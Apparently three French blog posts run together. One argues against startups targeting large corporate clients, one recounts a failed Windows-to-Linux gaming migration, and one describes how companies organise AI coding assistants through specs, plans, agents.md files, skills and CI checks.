Évidemment, ensuite, en termes de crédibilité, c'est plus facile de vendre un produit une fois qu'on a le logo d'un grand groupe que plein de logos de boites inconnus.

Ce qui est sûr c'est que culturellement, il y a le CAC 40 et le reste. Le CAC 40 c'est quasiment les mêmes boites depuis 30 ou 40 ans. A l'inverse vous regardez le S&P 500, en 1990 c'était Exxon, GE, Philip Morris, IBM. Ils ont tous laissé leur place à Apple, Nvidia, Amazon, Google.

En France, les grands groupes du CAC sont structurellement stables et dominants, ce qui les rend d'autant plus attractifs comme clients pour les startups. Ils ont les budgets, la longévité, la légitimité. Mais ces mêmes grands groupes ne sont pas des tremplins vers un marché global — ce sont des marchés fermés sur eux-mêmes.

Et à l'inverse le marché TPE/PME peut fonctionner. Si je regarde Pennylane, qonto, indy, payfit, spendesk, livestorm, c'est justement en visant ce marché qu'elles ont réussi à aller loin.

A l'inverse, je me pose de vraies questions sur la stratégie d'un Mistral qui semble se positionner que sur les grands groupes (déploiement on premise, partenariat azure etc...) et qui semble délaisser le marché de masse. J'espère que ce ne sera pas le futur DailyMotion, qui a privilégié les grands médias et opérateurs télécom en passant à côté de l'opportunité de devenir la plateforme média B2C que Youtube a su devenir.

Vous aurez compris, si vous créez une boite aujourd'hui, j'aurais tendance à vous déconseiller de voir le "B2B" comme un seul et grand terrain de jeu. J'aurais tendance à vous dire d'éviter le B2BigB qui est bien souvent délétère pour les startups et finit souvent par mener à l'impasse.

Ça reste possible, mais il faut s'armer pour. Et si c'est votre choix, je ne dirai qu'une chose. Bon courage :)

Viser les grands groupes (et le service public) c'est évidemment l'accès à des marchés plus importants. Mais j'aurais tendance à conseiller d'aborder cette étape plus tard, quand la boite est déjà solide.

Quand DJI (les drones chinois) ont attaqué le marché pro, ils avaient déjà une énorme emprise sur un marché B2C. Ils sont venus avec une expertise et un savoir faire qui leur permettait d'être souverain sur leurs décisions.

Maintenant si jamais vous avez quand même cette tentation, la recette pour avoir une chance, c'est avant tout une question de séniorité des dirigeants : faut savoir dire non de façon ferme, faut arrêter de courir tous les lièvres dès qu'on voit passer un soi-disant "low hanging fruit", l'expression qui a remplacé pour moi le mot "quick win" dans mes expressions les plus détestées.
Ça n'existe pas le gain avec peu d'effort. Tout a un cout, même quand il est caché.
Et il faut avoir une bonne base financière et réputationelle pour imposer ses conditions, d'où le conseil d'avoir déjà une bonne base sur les autres segments. C'est plus facile de dire non quand un client représente 2% que quand il représente 20%.

Une stratégie que j'ai vue fonctionner plusieurs fois, c'est de créer un logiciel avec une super UX, d'être adopté par les équipes, puis ensuite d'aller voir les départements achats des boites en question pour leur mettre sous le nez les chiffres d'usages chez eux : "vous avez vu, vous avez déjà 300 personnes qui l'utilisent, ça vous dit pas de faire un contrat cadre et de mieux comprendre l'usage chez vous ?"

Là pour le coup, c'est intéressant parce que vous avez créé un produit dont l'adoption s'est faite par les équipes, vous n'avez pas modifié votre roadmap et vous êtes en position de force avec les achats pour améliorer votre présence sans subir de pression sur le reste. Bref, faites un bon produit, trackez l'usage, attendez d'avoir une empreinte suffisante, et ensuite, allez négocier.

Anthropic (Claude code) en visant d'abord les développeurs individuels (indie hacker, side project) et les petites équipes a été poussé à constamment améliorer son produit qui est devenu numéro 1 dans sa catégorie (à l'heure où j'écris, ce passage pourrait mal vieillir :)). Aujourd'hui, ils vendent des licenses entreprises.

Les bonnes boîtes sont capables de faire du volume puis de remonter la chaîne, petites boites puis grandes boîtes. J'ai rarement (jamais ?) vu l'inverse. Quand tu fais du grand groupe, tu ne sais pas revenir sur le reste des segments.

Je me crois que je me suis dit ça 3 ou 4 fois sur les 25 dernières années, mais c'est bien la première fois que les raisons qui me poussent à le faire sont les plus fortes, et que les moyens à disposition sont les plus aboutis.

Alors, pourquoi pas ?

Mais d'abord parlons des raisons, pourquoi changer ?

Vous ne l'aurez sans doute pas raté, mais l'actualité géopolitique est tendue et la dépendance tech aux US commence à devenir très dangereuse. Windows est le cheval de Troie absolue permettant l'accès à des milliers (milliards ?) de PC, autant individuels que professionnels et c'est devenu un peu difficile de passer à côté.

Entre soupcon de backdoor en 1999 avec l'affaire _NSAKEY, re-soupcon de backdoor en 2017 avec l'affaire DoublePulsar ou vraie affaire des clés de chiffrement Bitlocker fourni à la NSA, il serait hautement naif de penser que nous sommes à l'abri.

Au-delà de ça, la migration vers Windows 11 a forcé de nombreuses entreprises à renouveller un parc informatique pourtant toujours en parfait état de marche.

Bon, la première raison suffisait hein. Mais quitte à être exhaustif...

Maintenant, comme faire ?

Mes contraintes

Je veux changer, certes, mais pas dans n'importe quelles conditions et il est temps que je donne un peu de contexte.

Comme toutes les personnes qui bossent dans l'informatique, j'ai eu régulièrement des personnes qui me demandent de jeter un œil à leur imprimante qui marche plus, ou un téléphone qui démarre pas ou un logiciel de traitement de texte capricieux.

Je vous donne un scoop, je ne sais pas faire ça. Ce n'est pas mon métier. Je sais, c'est dingue, je passe mon temps sur un PC, mais je ne sais pas pour autant le réparer ou réparer tout ce qui ressemble à un assemblage de composants électroniques. Pire, je déteste ça.

Alors oui, peut-être que j'exagère, avec beaucoup d'effort et une doc en ligne, je peux vaguement résoudre quelques problèmes. Mais encore une fois, je déteste ça.

En fait, je ne veux passer pas du temps sur des outils de la vie courante, pas plus que j'ai envie de démonter mon frigo ou ma voiture.

Ok, l'exemple de la voiture est sans doute mauvais, pour le coup j'y connais vraiment rien et quand j'étais plus jeune ça me faisait marrer de bricoler mon autoexec.bat et mon config.sys pour faire tourner des jeux en mémoire haute, mais ce temps est révolu. Le gaming ça doit être un loisir, pas un défi technique.

Bref, vous l'aurez compris, je veux changer pour quelque chose de simple et qui ne me demande pas de devenir expert de lignes de commande obscures pour que tout fonctionne.

Seconde précision utile, j'utilise professionnellement unix/linux depuis 1997. J'avais déjà installé Mandrake en 99 en double boot sur mon ordinateur, et j'ai également eu des PC de travail sur Ubuntu et Debian, donc je ne pars pas de zéro et je sais que pour un usage pro, je n'aurais aucun souci d'adaptation sur linux.

Mais, pour un usage perso, j'ai besoin de pouvoir faire du montage vidéo (j'utilise Filmora) et j'aime jouer au jeu vidéo donc ça va rentrer en ligne de compte.

Et il paraît que ça tombe bien, désormais Linux sait faire tout ça.

Il paraît...

Tester sans tout casser (ou presque)

L'idée c'était pas de racheter un ordinateur, ce serait quand même un peu idiot vu que mon pc est encore très bien. Je l'ai acheté en 2018, il a 32 Gb de ram, un processeur AMD Ryzen 7, une carte GeForce GTX 1060 et fait tourner sans aucun souci des jeux comme Overwatch 2 ou Baldurs Gate 3.

L'idée, c'était pas non plus de réinstaller par-dessus Windows en prenant le risque de plus avoir de PC pendant plusieurs jours/semaines.

Donc j'ai acheté un nouveau disque SSD de 1Tb pour permettre le double boot et tester des OS. Le double boot n'est pas une solution à long terme puisque je veux me séparer de Windows et que c'est très pénible de switcher d'un système à l'autre de toute façon. Par contre, c'est idéal pour du test. Et dans tous les cas, passer de 1 à 2Tb ça commençait à devenir nécessaire parce que le montage vidéo prend rapidement de la taille sur disque.

Évidemment comme j'ai des gros doigts et une vue qui décline avec l'âge, j'ai réussi l'exploit de casser le pas de vis qui sert à fixer le disque nvme sur la carte mère. J'ai vraiment cru que j'allais abandonner bien plus tôt que prévu, mais après une petite discussion avec Gemini, j'ai découvert l'existence d'adaptateur PCI Nvme qui permet de brancher des disques SSD sur une carte PCI.

Bref, un nouvel achat, quelques jours et 20 euros de moins plus tard, j'ai pu enfin brancher ce satané disque sur ma machine.

Le choix de la distribution

La première chose à faire pour démarrer c'est de choisir une distribution Linux, télécharger un ISO d'environ 4Gb, flasher une clé usb avec BalenaEtcher, et lancer l'installation.

Retenez bien ces étapes, elles serviront plusieurs fois par la suite...

Mon premier choix s'est porté sur Bazzite, orienté gaming, mais j'ai rapidement déchanté en voyant que les cofondateurs lavaient leur linge sale sur internet ce qui n'est jamais vraiment bon signe. On l'autorise uniquement pour Linus Torvalds.

J'ai donc ensuite installé Pop!_OS, qui est censé être grand public et compatible avec un usage gaming.

Assez rapidement, j'ai enchainé les désillusions. Mon soft de montage vidéo, Filmora, n'est pas disponible sur linux, tout comme Proton Drive.

Pour Proton, il semble exister une version en cours de développement donc à la limite, je peux attendre.

Concernant Filmora, cela m'oblige à apprendre DaVinci. C'est très frustrant parce que j'ai mes reflexes sur Filmora mais j'y perdrais pas au change en apprenant DaVinci qui est un excellent soft de montage. C'est frustrant, mais ça se fait.

Par contre, j'ai cumulé ça avec pas mal de complications liées à des ralentissements et des freeze de l'ordinateur. J'ai appris à maitriser xkill (pour tuer une fenêtre) en boucle notamment lors de l'installation de lutris qui permet de lancer Overwatch.

Oui, je vais prendre Overwatch comme benchmark pour tester la faisabilité de cette migration. C'est LE jeu auquel je joue le plus. Ne me jugez pas.

Après un long moment de frustration passé sur lutris qui n'a jamais fonctionné, je suis finalement passé sur Steam parce que j'ai découvert grâce à Gemini que Overwatch est désormais jouable sur Steam. L'install de Steam a du se faire en ligne de commande puisque l'installeur de base ne fonctionnait pas (sic). J'ai ensuite lancé le donwload d'overwatch (60Gb...) puis je suis allé faire autre chose.
L'ordi s'est mis en veille et ne m'a permis pas d'en sortir ensuite... Le réveil difficile semble être aussi possible pour un ordinateur. Bref, j'ai du rebooter, et j'ai perdu le download du jeu...

Heureux (non) et frais comme un gardon (non plus), j'ai désactivé la mise en veille automatique puis relancé le download. Après plusieurs heures j'ai enfin pu lancer le jeu et... ça n'a pas marché. Le jeu s'est lancé, ça semblait fluide, mais le personnage regardait constamment le sol comme si ma souris n'était pas reconnue.

On parle de plusieurs heures de galères, beaucoup de lignes de commandes faites en terminal alors que je ne voulais clairement pas d'un OS qui m'oblige à faire ça alors j'avoue que l'envie d'abandonner était vraiment très forte.

Et puis une personne m'a dit : "peut être que je tu devrais essayer avec une distrib moins exotique".

Ok. C'est pas faux. Faut pas abandonner aussi vite.

Et puis surtout à ce stade, je dois quand même faire une petite parenthèse. L'une de mes motivations, c'était de sortir de la tech US. Mais choisir une distrib linux, certes c'est open source, mais c'est pas magique, il y a des boites derrière ces distributions. Or Bazzite et PopOS sont toutes deux d'origine US, donc dans tous les cas, j'avais pas vraiment rempli mon contrat.

Je suis donc reparti le lendemain sur Linux Mint (Irlande). Re-téléchargé un ISO, re-flashé une clé USB, refait l'installation. Joie.

Verdict, Mint semblait plus stable, aucun freeze, pas de soucis en sortie de veille, mais une interface un peu vieillotte, genre Windows des années 2000. Une personne m'a rapidement conseillé de plutôt essayer Zorin OS (Irlande).
Pas de soucis, je maitrise bien le flash de clé USB maintenant.

J'ai donc re-téléchargé un ISO, re-flashé une clé USB, refait l'installation.

Et j'avoue que le résultat est pas mal. L'OS est agréable à prendre en main, l'interface reste proche de Windows donc simple en terme d'habitudes à prendre. Par contre, cette fois je savais que le principal sujet c'était de faire marcher Overwatch pour valider totalement la migration.

J'ai donc installé Steam directement via le gestionnaire d'application fournie. J'ai lancé le téléchargement d'Overwatch (60Gb, ça n'a pas changé depuis tout à l'heure) et j'ai attendu.

Après plusieurs heures, enfin, j'ai pu démarrer le jeu et là... Nouvel échec. Le jeu était totalement saccadé, pixelisé de partout, les menus ne répondaient quasiment pas. Bref, merci xkill...

Mais cette fois, hors de question de m'arrêter là.

J'ai donc fait appel à un ami : Gemini.

D'abord, on a tenté de modifier les options de lancement du jeu en forçant l'usage de Proton, mais sans succès. Je fais comme si je connaissais Proton, en fait pas du tout. J'ai découvert Proton, Wine, Lutris dans la même journée et je ne vous ferais certainement pas un cours sur qui sert à quoi ou pourquoi Proton et pas Wine. J'en sais rien et je m'en fiche un peu.

Après plusieurs commandes lancées sur le terminal, on en vient à la conclusion que le jeu n'utilisait pas ma carte nvidia même si elle était correctement installé, car flatpack lui interdisait. Est-ce que ce diagnostic était bon ? Aucune idée. Mais j'ai installé flatseal pour gérer les permissions accordées à Steam.

Est-ce que ça a marché ? Pas du tout. Gemini m'a alors conseillé de réinstaller Steam non pas via flathub, mais via la version native directement (avec un .deb).

À ce stade, autant vous dire que j'étais plus à une installation prêt et un peu perdu de toute façon. Je connaissais même pas flathub avant la semaine dernière.

Bref, j'ai réinstallé steam, re-téléchargé le jeu (oui, encore), réinstallé proton, changé 2 fois la version de Proton parce que la version expérimentale était incompatible avec mon installation, changé 3 fois les options de lancement sous les conseils de Gemini et après plusieurs heures, le jeu s'est lancé !

Enfin, presque. Il a lancé la compilation des shaders vulkan.

Apparemment ça lui permet de les précompiler pour éviter de le faire pendant le jeu. J'ai une connaissance très limitée de ce que c'est qu'un shader, je ne sais pas pourquoi c'est nécessaire sour linux mais bon, pour 10 minutes de plus, je suis plus à ça près...

Je suis allé rapidement en partie d'entrainement, testé quelques persos et j'avais une petite sensation bizarre. Le jeu n'était pas fluide et en affichant les FPS, j'ai pu voir que j'étais plafonné à 60 FPs avec quelques petites chutes vers 50. Et je peux vous garantir que 60FPS on le sent passer. C'est des petits glitchs de temps en temps et une sensation d'absence de fluidité. C'est jouable. On peut vivre avec. Mais c'est pas du tout agréable, surtout quand on a connu le jeu a 175FPS avant, sur la même machine.

Et vous savez ce que m'a conseillé Gemini ? De tester avec Lutris.

Alors, j'ai installé lutris, re-téléchargé battle.net comme sur Pop_Os!, subit les mêmes lenteurs et saccadements, ce qui m'a permis de comprendre que c'était pas forcément PopOs le fautif, mais plutot Lutris, lancé battle.net pour arriver exactement à l'erreur que j'avais déjà eu sur PopOs et surtout la même conclusion : Lutris est un enfer.

Gemini m'a alors dit "Si Lutris te fait la tête, je te conseille d'utiliser Bottles. C'est une application ultra-moderne disponible dans la boutique Zorin qui est devenue la référence pour installer Battle.net."

Mais là, j'avoue. J'ai laissé tomber...

Bon, et si on faisait un bilan ?

Bilan

Eh bien, je ne dirais pas que c'est un échec, mais ça n'a pas marché comme dirait l'autre.

Globalement l'expérience Linux pour un usage pro en développement informatique est très bon, mais ça je le savais déjà, c'est clairement pas le frein. ZorinOs pour un utilisateur de Windows comme moi fait parfaitement le travail, on retrouve nos petits.

Pour les autres métiers ? Difficile à dire. Le risque, c'est d'avoir toujours un soft ou deux qui ne soit pas présent sur Linux. En soi, l'OS est désormais vraiment à niveau, mais si les éditeurs ne publient pas leur soft sur Linux, ça sera toujours un frein. C'est le cas par exemple des logiciels de CAO (autocad, revit, solidworks), ou de la suite Adobe pour les créatifs, de plusieurs outils pro pour les monteurs vidéos (Adobe Premiere ou After Effects).

Et ça rend l'option discutable pour un usage plus large. Encore une fois, c'est pas Linux qui est en cause ici, mais les éditeurs eux-mêmes. S'ils ne voient pas Linux comme une plateforme grand public, ce ne sera jamais grand public.

Et le grand public d'ailleurs, une partie sont des gamers et Linux, je peux difficilement dire que c'est adapté. Je sais que je vais faire bondir certains d'entre vous en lisant ça. J'ai plein d'amis qui m'ont garanti être capable de jouer sur Linux et je les crois. Mais ce serait hypocrite de ma part d'écrire que c'est aussi simple d'accès que sur Windows.

Évidemment j'exagère, pour une personne qui fait juste de la bureautique chez soi, avec un ordi déjà configuré, franchement ça devrait bien se passer. En plus c'est vrai que tous mes périphériques ont été détectées sans aucun souci, imprimante, micro RODE, double écran etc... Donc oui, je suis un peu injuste.

Mais dès qu'on touche au gaming, là, j'ai du mal à me dire que c'est ok. J'ai passé des heures à taper des lignes de commandes obscures sur un terminal. J'ai bidouillé des options de lancement dans Steam et dans les settings nvidia que j'avais jamais vu de ma vie et au final, ça ne marche pas.

On peut me dire sans aucun souci que je suis pas doué, que le problème réside entre la chaise et le clavier. Je reconnais aisèment tout ça. Je connaissais même pas la plupart des softs que j'ai manipulés ces derniers jours (flatpak, wine, proton etc...). Mais je devrais pas avoir besoin d'être doué pour jouer sur un PC. Et manifestement, je suis pas le seul à qui ça arrive parce que j'ai cherché des heures sur des sub Reddit et j'ai vu beaucoup de personnes avec des problèmes similaires.

Je voulais migrer, j'ai passé des heures là-dessus. J'ai lu des dizaines de messages sur les forums. Ne venez pas me dire que je suis de mauvaise foi. Je ne suis pas patient, c'est vrai, mais j'ai tenté.

Et le pire, c'est que je suis frustré. Parce que je voulais vraiment migrer. Je suis prêt à apprendre DaVinci pour remplacer Filmora. Je suis prêt à changer mes habitudes de travail, réapprendre à utiliser un nouvel OS. Mais bordel, je veux pouvoir jouer :)

Donc pour l'instant, je garde le double boot mais c'est pas une solution. Je suis encore entre la phase 3 (déni) et 4 (colère) du deuil en espérant pas arriver tout de suite à l'acceptation et la résignation...

Je vais continuer à chercher des solutions en ligne, mais clairement ça devient un job d'expertise et c'était pas censé être le cas et ça sent le sapin pour cet objectif 2026.

2025 a été un tournant majeur dans l'usage de l'IA, bien au-delà du simple usage individuel.

Depuis 2020 nous sommes passé du monde de l’auto complétion à l’industrialisation :

• 2021 avec Github Copilot : un usage individuel, essentiellement tourné autour d'une autocomplétion évoluée.
• puis un usage dans le navigateur pour des tâches plus complexes, nécessitant de multiples allers/retours et copier-coller
• 2025 avec Claude Code, ou Windsurf et Cursor : un usage sur le poste du développeur à travers des assistants de code

En passant progressivement de quelques lignes produites par auto complétion, à des applications codées à plus de 90% par des assistants IA, les équipes de dev doivent faire face à une obligation d'industrialiser cette pratique au risque de grosses déconvenues.

Et plus que ça, à partir du moment où le métier de développeur change, c'est en réalité toute l'équipe de développement qui doit muter avec lui.

Ce n'est plus uniquement un simple sujet de tooling, mais un sujet d'industrialisation à l'échelle d'une équipe, tout comme les frameworks de tests automatisés ont changé la façon de créer du logiciel début des années 2000.

(On testait évidemment avant les années 2000, mais la façon dont on a réfléchi à l'automatisation de ces tests via les frameworks xUnit, l'avènement des usines logicielles (CI/CD) etc... est plus récente)

Dans cet article, on va explorer comment les équipes de devs se sont adaptées via des témoignages de plusieurs boîtes Tech qui ont participé à la rédaction en abordant :

• Le Context Driven Engineering, nouveau paradigme
• Spec/Plan/Act : le workflow de référence
• L’écosystème des AI Rules
• La gouvernance et l’industrialisation
• Les défis Humains

Context driven engineering

Si le terme vibe coding s'est imposé début 2025, on parlera plus volontiers désormais de Context driven engineering ou d'agentic engineering. L'idée n'est plus de donner un prompt, mais de fournir un contexte complet incluant l'intention ET les contraintes (coding guidelines etc...).

Le Context Driven Engineering vise à réduire la part non déterministe du processus et fiabiliser la qualité de ce qui est produit.

Avec le CDE, si la spec n'a pas toujours été bien vue, elle redevient un citoyen de première zone et devient une obligation avant le code.

Separate your process into two PRs:

• The PR with the plan.
• The PR with the implementation. The main reason is that it mimics the classical research-design-implement loop. The first part (the plan) is the RFC. Your reviewers know where they can focus their attention at this stage: the architecture, the technical choices, and naturally their tradeoffs. "It's easier to use an eraser on the drawing board, than a sledgehammer at the construction site"

Source : Charles-Axel Dein (ex CTO Octopize et ex VP Engineering chez Gens de confiance)

On retrouve cette même logique ici chez Clever Cloud :

Here is the paradox: when code becomes cheap, design becomes more valuable. Not less. You can now afford to spend time on architecture, discuss tradeoffs, commit to an approach before writing a single line of code. Specs are coming back, and the judgment to write good ones still requires years of building systems.

Source : Pierre Zemb (Staff Engineer chez Clever Cloud)

ou chez Google

One common mistake is diving straight into code generation with a vague prompt. In my workflow, and in many others’, the first step is brainstorming a detailed specification with the AI, then outlining a step-by-step plan, before writing any actual code.

Source : Addy Osmani (Director sur Google Cloud AI)

Bref, on retrouve désormais cette méthode un peu partout :

• spec
• plan
• act

Spec/Plan/Act

Spec : La spécification regroupe les cas d'usages : les intentions exprimées par l'équipe de développement. On peut l’appeler RFC (request for change), ADR (architecture decision record), ou PRD (Product requirement document) selon les contextes et les entreprises.

C’est le document de base pour démarrer un développement avec une IA. La spec est habituellement relue par les experts produits, devs ou pas.

L’usage d’IA n’est pas rare non plus à cette étape (Cf. plus loin dans l’article).

Mais le contexte ne se limite pas à cela. Pour limiter les initiatives malheureuses des IA, il faut également lui fournir des contraintes, les normes de développement, les outils à utiliser, les docs à suivre. On verra ce point plus loin.

Plan : Le plan d'implémentation liste l'ensemble des étapes pour implémenter la spécification. Cette liste doit être exhaustive, chaque étape doit être réalisable par un agent de façon autonome avec le contexte nécessaire et suffisant. C'est habituellement relue par des seniors (architecte, staff, tech lead etc... en fonction des entreprises).

Act : Il s’agit de l’étape d’implémentation et peut être répartie à des sessions agentiques.

Dans de nombreuses équipes, cette session peut se faire selon deux méthodes :

*

• le mode copilote/pair programming avec une validation de chaque modification une par une
• le mode agent, ou le développeur donne l'intention puis vérifie le résultat (on verra comment plus tard)

On retrouve bien sûr des variations, comme par exemple chez Ilek qui détaille d’avantage la partie Act :

Nous en somme à la première phase de l’industrialisation qui est l’adoption. L’objectif c’est que d’ici la fin du trimestre tous les dev s’appuient sur ce framework et que l’utilisation des prompts/agents soit un réflexe. On vise donc une adoption de 100% d’ici fin mars. Notre workflow part du besoin et se découpe en plusieurs étapes qui vise à challenger les devs dans les phases de réflexion jusqu’à la validation du code produit. Voici la liste des étapes qu’on suit: 1- elaborate (challenge le besoin et interroge sur les cas limites, les choix techniques, l’architecture, etc.) 2- plan (propose un découpage technique, ce plan est fourni en sortie dans un fichier Markdown) 3- implement (Des agents vont réaliser les étapes du plan) 4- assert (un agent va valider que le résultat final répond aux attentes, lint, test, guideline) 5- review (des agents vont faire un review technique et fonctionnelle) 6- learn (mise à jour du context) 7- push (création de la MR sur gitlab) Tout ce processus se fait en local et est piloté par un développeur.

Cédric Gérard (Ilek)

Si cette méthode en 3 phases semble faire consensus, on voit pas mal d’expérimentations pour encadrer et renforcer ces pratiques, notamment avec deux outils qui reviennent régulièrement dans les discussions : Bmad et SpeckKit.

Pour avoir testé les deux, on peut aboutir assez facilement à une surdocumentation un peu verbeuse et un ralentissement du cycle de dev.

J'ai l'intuition qu'il faut éviter de reproduire numériquement des processus humains qui étaient déjà bancals. A-t-on vraiment besoin de tous les rôles proposés par BMAD par exemple ? J’ai eu l’impression de faire du SaFe en mode solo et ce n'était pas une bonne expérience :)

Ce qui est sûr, c'est que si la spec redevient reine, la spec nécessaire à une IA se doit d'être simple, sans ambiguïté. La verbosité peut nuire à l'efficacité des assistants de code.

L’écosystème des AI Rules

Si le mode agentique semble prendre le dessus sur le mode copilote, cela vient avec des contraintes supplémentaires pour s'assurer de la qualité. On veut absolument s'assurer :

• que l'implémentation respecte la spec
• que le code produit respecte les standards de l'équipe
• que le code utilise les bonnes versions des librairies du projet

Pour s'assurer de la qualité produite, les équipes fournissent le contexte nécessaire pour informer l'assistant de code des contraintes à respecter. Paradoxalement, malgré la mauvaise réputation du vibe coding et son usage auparavant réservé aux prototypes, le Context Driven Engineering remet les bonnes pratiques d'ingénierie habituelles (harnais de test, linters etc...) sur le devant de la scène. Sans elles, il devient impossible de s'assurer de la qualité du code et de l'architecture.

En plus de toutes les bonnes pratiques classiques, la plupart des systèmes agents viennent avec leurs propres concepts : le fichier de contexte général (agents.md), les skills, les serveurs MCP, les agents.

agents.md

Un assistant de code va lire plusieurs fichiers en plus de la spec qu'on lui fournit. Chaque assistant de code propose son propre fichier : Claude.md pour Claude, .cursorrules pour Cursor, windsurfrules pour Windsurf etc...

Il existe une tentative d'harmonisation via agents.md mais l'idée est toujours globalement la même : une sorte de README pour AI. Ce README peut s'utiliser de façon hiérarchique, on peut en effet avoir un fichier à la racine, puis un fichier par répertoire où c'est pertinent.

| agents.md
| 
` application 1
  | 
  ` agents.md 

Ce fichier contient les instructions à suivre systématiquement, exemple :

- l'interface est en anglais obligatoirement
- dans le backend nuxt (`server/api/`), on utilise TOUJOURS le client OpenAPI généré (`~~/server/utils/openapi`), jamais `$fetch` direct

et peut faire référence à d'autres fichiers.

Si tu dois travailler en kotlin, toujours charger le fichier rules/kotlin.md 

Avoir plusieurs fichiers permet à chaque agent de travailler avec un contexte réduit, ce qui améliore l'efficacité de l'agent en question (sans parler de l'économie sur les coûts).

Les skills, agents, serveurs MCP

En fonction des outils utilisés, on retrouve plusieurs notions qui ont chacun des usages différents.

Une skill explicite à un agent IA comment réaliser un type d'opération.

Par exemple, on peut lui donner les commandes à utiliser pour appeler certains outils de génération de code, ou de vérification statique.

Un agent peut être impliqué pour prendre en charge une tâche spécifique. On peut par exemple avoir un agent dédié à la documentation externe avec des instructions quant au ton à adopter, l'organisation recherchée etc...

Les serveurs MCP permettent d'enrichir la boîte à outils de l'agent IA. Cela peut être des accès direct à une documentation (par exemple la doc de Nuxt), voire à des outils pour consulter les infos d'un compte de test comme le MCP de Stripe.

Il est encore trop tôt pour le dire, mais on pourrait voir apparaître une notion de dette technique liée à l’empilement de ces outils et il est fort à parier que l’on verra des techniques de refactorings et de tests se profiler dans le futur.

La gouvernance et l’industrialisation

Avec l’apparition de ces nouveaux outils vient une question : comment uniformiser la pratique et profiter des bonnes pratiques de chacun ?

Comme le dit Benjamin Levêque (Brevo)

L'idée c'est : au lieu que chacun galère avec ses propres prompts dans son coin, on met en commun nos découvertes pour que tout le monde en profite.

Des Marketplaces d'entreprises

Une des premières réponses pour la mise en commun repose sur la notion de marketplace d’entreprise :

Chez Brevo, on vient de lancer une marketplace interne avec des skills et des agents. Ca nous permet d'uniformiser le code généré via l'IA (avec Claude Code), tout en respectant les standards définis par les "experts" de chaque domaine (langage, techno, etc.). Les 3 composants dans claude code : On transforme nos succès en Skills (instructions réutilisables), en Subagents (IA spécialisées) et en Patterns (nos meilleures architectures). Ne pas réinventer la roue : On passe d'une utilisation "au feeling" à une méthode systématique.

Benjamin Levêque et Maxence Bourquin (Brevo)

Chez Manomano on a aussi initié un repository afin d'y transposer nos guidelines et ADR sous un format machine friendly. On décline ensuite des agents et des skills que l'on va ensuite installer dans claude code / opencode. On a un outil de bootstrap de machine interne, on y a ajouté ce repo ce qui fait que tout les tech de la boite se retrouve outillés. C'est ensuite à chacun de référencer les règles ou skills qui sont pertinents en fonction des services. On a des skills typés intégration (utilisation de notre IAC interne pour ajouter X ou Y), d'autres qui sont des pratiques (faire une revue de code : comment faire du react a Manomano) et des commandes qui couvrent plus des orchestrations (tech refinement, implementation de feature avec revue). On observe aussi qu'il est difficile d'uniformiser les installations de MCP chez chacun, ce qui est dommage quand on voit l'impact de certains sur la qualité de ce qu'on peut produire (Serena a été cité et je rajouterai sequential-thinking). On en est au point ou on se demande comment garantir un env iso chez tout les dev, ou comment le rendre cohérent chez tout le monde

Vincent AUBRUN (Manomano)

Chez Malt, nous avons aussi démarré la mise en commun de commands / skills / AGENTS.MD / CLAUDE.MD. Classiquement, l'objectif des versions initiales est de partager un certain nombre de connaissances qui permettent à l'agent de ne pas repartir de zéro. Les propositions (via MR typiquement) sont revues dans le cadre des guildes (backend / frontend / ia). A noter qu'on se cherche encore beaucoup à l'échelle de l'engineering. Il est notamment compliqué de savoir si un élément partagé est vraiment utile au plus grand nombre.

Guillaume Darmont (Malt)

A noter qu’il existe des marketplace publiques, on peut citer :

• la marketplace Claude
• une marketplace par vercel

Attention cependant, il est obligatoire de relire tout ce que vous installez…

Parmi les méthodes de déploiement, beaucoup ont privilégié des outils customs, mais François Descamps de Axa nous cite une autre solution :

Pour le partage des primitives, nous explorons APM (agent package manager) de Daniel Meppiel. J’aime beaucoup le fonctionnement, il est assez facile d’utilisation et s’utilise pour la partie gestion de dépendances comme NPM.

Intégration dans la CI/CD

Malgré toutes les instructions fournies, il arrive régulièrement que certaines soient ignorées. Il arrive aussi que les instructions soient ambiguës et mal interprétées. C'est là où les équipes mettent en place obligatoirement des outils pour encadrer les IA :

• linting
• harnais de test
• revues de code

Si l'œil humain reste obligatoire pour tous les participants interrogés, ces outils eux-mêmes peuvent s'appuyer partiellement sur des IA.
Les IA peuvent en effet rédiger les tests. L'humain vérifie alors la pertinence des tests proposés.
Plusieurs équipes ont également créé des agents spécialisés dans la revue avec des scopes bien spécifiques : la sécurité, la performance etc...
D'autres utilisent des outils automatisés, certains directement branchés sur la CI (ou sur Github).

(je ne les cite pas mais vous pouvez les trouver facilement).

Liée à cette notion de CI/CD, une question qui revient souvent :

Il est également très difficile de savoir si une "amélioration", i.e. modification dans le fichier CLAUDE.MD par exemple, en est réellement une. Est-ce que la qualité des réponses sera réellement meilleure après la modif ?

Guillaume Darmont (Malt)

Est-ce que je peux évaluer un modèle ? Si je change mes guidelines, est-ce que l'IA génère toujours un code qui passe mes critères de sécurité et de performance ? Est-ce qu’on peut traiter le prompt/contexte comme du code (Tests unitaires de prompts).

A cela Julien Tanay (Doctolib) nous dit :

A propos de la question "est(ce que ce changement sur le skill le rend meilleur ou moins bon", on va commencer a regarder promptfoo et brainstrust (utilisé en prod pour l'IA produit chez nous) pour faire de l'eval dans la CI.(...) Par exemple avec promptfoo, tu vas vérifier, dans une PR, que pour les 10 variantes d'un prompt "(...) setup my env" le skill env-setup est bien trigger, et que l'output est correct. Tu peux vérifier l'appel du skill programmatiquement, et l'output soit via "human as a judge", ou plutot "LLM as a judge" dans le cadre d'une CI

L’ensemble des discussions semble indiquer que le sujet est encore en recherche, mais qu’il existe déjà des pistes de travail.

Les coûts

On avait un KPI principal qui était d'obtenir 100% d'adoption pour ces outils en un trimestre (...) Au début notre KPI principal c'était l'adoption, pas le coût.

Julien Tanay (Staff engineer chez Doctolib)

Le coût vient en effet souvent en seconde partie. Le schéma classique, c’est l’adoption, puis l’optimisation.

Pour maîtriser les coûts, il y a d'une part l'optimisation des sessions, qui passe par

• le fait de garder des fenêtres de sessions courtes, en ayant découpé le travail en petites étapes indépendantes.
• l'usage de la commande /compact pour garder uniquement le contexte nécessaire (ou le fait de flusher ce contexte dans un fichier pour reprendre une nouvelle session)

On retrouve par exemple ces conseils proposés par Alexandre Balmes sur Linkedin.

Cette maîtrise des coûts peut être centralisée avec les licences entreprises.
Cette bascule entre clé individuelle et clé entreprise fait parfois partie de la procédure d'adoption :

On une strat progressive sur les coûts. On fournit une clef d'api pour les nouveaux, afin de suivre leurs usages et payer au plus proche de la conso. Passer un seuil on les bascule sur des licences Anthropic enterprise car on estime que c'est plus intéressant pour les usages quotidiens.

